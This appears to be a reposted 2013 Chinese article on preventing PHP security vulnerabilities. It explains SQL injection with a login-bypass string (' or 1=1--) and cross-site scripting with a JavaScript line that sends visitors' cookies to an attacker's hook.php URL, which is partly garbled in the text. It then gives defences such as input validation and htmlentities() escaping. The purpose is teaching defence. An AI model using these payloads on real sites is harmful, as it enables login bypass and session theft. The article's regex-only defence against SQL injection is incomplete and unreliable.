PHP安全漏洞防范研究
作者:程茂华
来源:《信息安全与技术》2013年第07
        文章分别从网站开发和网站管理的角度,研究了PHP安全漏洞的防范。这样一来,只要网站开发人员和网站管理人员不同时出现工作失误,就不会发生重大网站安全事故。
        关键词 PHP安全漏洞;PHP开发安全;PHP安全配置
        1 引言
        PHP因其功能强大、入门简单、代码执行效率高等优点,成为了Web应用开发的流行语言。由于使用广泛,所以利用PHP安全漏洞对Web网站进行的攻击也越来越多,这给Web应用的安全带来了严重威胁。
        对网站的安全负有直接责任的主要有两类人员:一类是网站开发人员;一类是网站管理人员。本文分别从网站开发和网站管理的角度,对PHP安全漏洞的防范进行了较为全面的总
结、研究。
        2 PHP网站开发过程中产生的安全漏洞及其防范
        从网站开发的角度出发,研究在程序的开发过程中,如何避免PHP安全漏洞的产生,从而开发出较为安全的PHP网站。
        对以往大量攻击案例的研究表明,PHP安全漏洞的产生原因主要是没有对用户的输入进行严格的验证和对系统的输出没有进行适当的转义。用户的输入永远是不可以盲目相信的,在没有进行验证前,都可以认为是被污染数据。系统的输出在没有适当转义前,也有可能带来较大的安全风险。
        2.1 未对用户输入进行严格验证产生安全漏洞及其防范
        考虑一个系统的登录验证,此系统要求用注册时所填的邮箱和密码登录。一般情况下,只要输入正确即可登录,如果输入错误则不允许登录,这是通常的处理流程。其程序实现一般是,通过一个登录表单获取用户输入的邮箱和密码,然后传递给程序以构造一个SQL查询语句,例如:select count* from users where email='myemail@163' an
d password='mypass',再将此SQL语句提交给后台数据库执行,若返回的记录数为0,则说明输入的邮箱信息或密码有误或用户根本没有注册,系统拒绝其登录,反之则为合法用户,允许其登录。这套验证流程对于一般的客户是十分奏效的,其若没有注册亦或没有输入正确的邮箱和密码都是不能登录系统的。但对于黑客来说,情况就不一样了。其完全可以精心设计一个字符串来代替合法邮箱地址从而绕过系统的验证,例如:若黑客输入的邮箱地址是“myemail' or 1=1--”、密码是“myppass”,此时,SQL语句变为:select count* from users where email='myemail' or 1=1--' and password='mypass',此语句执行后所返回的记录数是users表的所有记录总数,并不为0,所以通过了系统的登录验证,系统允许其登录。这就是著名的SQL注入攻击。导致这个后果的原因是黑客精心构造了一个字符串用于代替合法邮箱地址且系统并未对用户输入的数据本身进行合法性检查。
        为了对上述PHP安全漏洞进行防范,我们可以对用户的输入进行合法性验证。
        此处要求输入的是邮箱地址,为了对用户输入的数据本身进行合法性检查,我们可以用正则表达式对用户输入的邮箱地址进行验证,看是否符合正确的邮箱格式,这样就可以大大增加黑客设计特殊字符串的难度,在一定程度上防止SQL注入漏洞的产生。
        在任何情况下,如果对用户的输入均进行严格的验证(当然,验证方法根据不同情况而有所不同,并不局限于正则表达式),这就可以在很大程度上对PHP安全漏洞进行防范。
        2.2 未对系统的输出进行适当转义产生安全漏洞及其防范
        未对系统的输出进行适当转义也会产生安全漏洞,跨站脚本漏洞就是一个很著名的例子。假设有一个可以发表评论的系统,其采用表单的形式进行数据提交。对于一般用户,这不会有什么太大问题,但是对于黑客,问题就来了。因为黑客并不是真的想发表什么评论,其有可能是想盗取其他登录用户的cookies。为了盗取其他登录用户的cookies,黑客可以将如下Javascript代码作为评论内容进行提交:
       
        document.location = 'http///hook.phpcookies='+kie
       
        如果在输出前对黑客所提交的内容不做任何转义的话,那么此段Javascript代码将被其他用户的浏览器所执行,从而将浏览评论的其他登录用户的cookies发送到http///hook.php,黑客只要利用$_GET['cookies']就可以获取到盗窃的cookies了。
php网站开发是什么专业        这就是跨站脚本漏洞的一个经典攻击实例。
        为了防范上述跨站脚本漏洞攻击,我们所要采取的措施很简单:在将评论内容输出到客户端浏览器之前,利用htmlentities()函数对输出内容进行转义。此函数可以将输出内容中可能包含的html标签转换成html实体,从而使得黑客输入的Javascript代码不被执行。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。